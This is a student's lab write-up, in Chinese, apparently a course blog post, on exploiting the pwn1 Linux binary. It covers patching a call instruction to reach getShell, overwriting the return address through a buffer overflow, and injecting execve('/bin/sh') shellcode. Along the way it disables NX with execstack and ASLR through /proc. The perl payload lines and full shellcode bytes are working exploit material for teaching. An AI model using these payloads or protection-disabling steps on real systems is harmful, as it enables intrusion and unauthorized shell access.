20164324王启元 Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

1.1实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.2实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:
  1. 运行原本不可访问的代码片段
  2. 强行修改程序执行流
  3. 以及注入运行任意代码

(注:进行实验前,记得备份Pwn1文件,后续需要使用三次)

1.3基础知识

  1. 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码

          NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

          JNE指令:条件转移指令(等同于“jump not equal”),如果不相等则跳转。

          JE指令:条件转移指令,如果相等则跳转。

          JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

          CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,相对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

          2.掌握反汇编与十六进制编程器

objdump反汇编命令:

objdump -f test     //显示test的文件头信息
objdump -d test    //反汇编test中的需要执行指令的那些section
objdump -D test    //与-d类似,但反汇编test中的所有section
objdump -h test    //显示test的Section Header信息
objdump -x test    //显示test的全部Header信息
objdump -s test    //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码    


xxd命令:

用vi命令打开一个文件,在vi命令模式下输入
:%!xxd            //回车后,该文件会以十六进制形式显示
:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

1.4实验要求:

1.主机名为本人姓名拼音(以图为例,我的主机名是自己名字首字母的缩写,wqy)

2.文件名用自己学号(实验做完才想起来,所以这次用的还是pwn1,下次改正。

实验内容

实验一(手动修改程序机器指令,改变程序执行流程,直接跳转到getshell函数)

1.执行命令 objdump  -d pwn1 ,对pwn1文件进行反汇编

2.查看代码中的main foo getshell函数,需要修改的地方用红框圈了出来,如下图所示。

foo函数及相关后续函数起到回显作用,此为pwn1文件的原本正常功能(即对用户输入的字符进行简单回显)。我们需要做的,是修改红框中的地址,让main函数调用getshelle函数执行,即改变程序执行流程。

分析:

  首先看跳转指令执行后的下一个地址80484ba,以及跳转之后到达的foo函数地址804891,显而易见应该是进行了加减运算实现了地址偏移,我们来进行简单的验证:

80484ba-8048491=4ba-491=0x29

0x29=41,补码为d7ffffff,即跳转指令的机器码。

由此我们可知跳转的下一地址加上偏移量即可得到转移后的地址,我们想触发这个代码中的getshell函数,就要把偏移量计算出来:

getshell的地址为804847d,则我们需要的偏移量补码为804847d-80484ba=47d-4ba=-3d,即C3

3.所以接下来修改可执行文件,将其中的 call指令的目标地址由d7fffff变为C3ffffff

  • vi编辑pwn1文件,按ESC键,之后输入:%!xxd,将显示模式切换为16进制模式
  • 直接输入/e8d7,查找需要修改的内容(如果没有找到,加一个空格,/e8 d7)
  • 确认是需要修改的地方,回车,方向键移动光标到d7,敲击r,在敲击输入改动字符(或者直接按i键,编辑修改为“c3”,ESC键退出编辑模式)

  • 输入:%!xxd -r ,转换为原格式,再输入:wq,保存并退出pwn1文件

  • 再输入objdump -d pwn1 | more 反汇编一下pwn1文件中的main函数,查看是否正确调用get shell函数
  •  

  • 运行修改后的代码,得到shell
  • 实验二(通过构造输入参数,造成BOF攻击,改变程序执行流): 缓冲区溢出:计算机对接收的输入数据没有进行有效的监测(理想的情况时程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出被分配空间之外的内存空间,从而破坏程序的堆栈,造成程序的崩溃或者程序转而执行其他指令,以达到攻击的目的。(此实验是:构造制定字符串【含有getshell函数地址】,让getshell函数的地址恰好溢出到EIP)  目标依然是除法getshell函数,但在这里要注意的是foo函数,该函数有漏洞,我们的目标是让溢出的字节覆盖返回地址。确认输入字符串哪几个字符会覆盖到返回地址:
  •  1.用gdb命令调试 pwn1文件 ,输入一个48B的字符串,依然是Segmentation Fault

 

2.接着使用info r命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回值地址为5555,这就说明刚刚输入的48B字符中,含有5的字符串溢出导论EIP中

3.为了精确判断字符串中的溢出位置,将“55555555”替换成“12345678”,继续调试,观察具体是哪几个数字溢出到了EIP寄存器中

 

发现“1234”那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getshell的内存地址,输给20164320,20164320就会运行getshell.

4.getshell的内存地址,通过反汇编时可以看到,即0804847d

5.因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以生成包括这样字符串的一个文件(\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键)

 

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

 

6.可以使用16进制查看指令xxd查看input文件的内容是否如预期

7.将input的输入,通过管道符“|”,作为pwn1的输入 (cat input; cat) | ./pwn1 ,最后,获得shell(如上图所示结果)

实验三

使用apt-get install execstack命令安装execstack

在执行这些步骤之前因为源不匹配,进行了换源操作。

  1. 使用如下指令进行配置:
  2. execstack -s pwn1
  • execstack -q pwn1
  • more /proc/sys/kernel/randomize_va_space
  • echo "0" > /proc/sys/kernel/randomize_va_space

  • more /proc/sys/kernel/randomize_va_space
  • 3.使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    其中,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,随后修改这个返回地址。
  • .在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击
  • 在另一个终端打开,使用ps -ef | grep pwn查看pwn1这个进程
  • 使用gdb进行调试,输入attach 12022

  •  

  • 使用disassemble foo 命令进行反汇编
  • 输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址

  • 将之前的\x4\x3\x2\x1改为这个地址,再使用命令(cat input_shellcode;cat) | ./pwn1 执行程序,攻击成功。

  • 实验心得与感想:实验过程是一个很费时间的过程,但是也确确实实自己动手完成这种比较有技术性的实验是非常有成就感的。漏洞在我看来就是系统的破绽,会被黑客加以利用进行网络攻击的一个攻击点。是容易被攻破的网络漏洞。

posted on 2019-03-17 00:19  王启元  阅读(104)  评论(0编辑  收藏

导航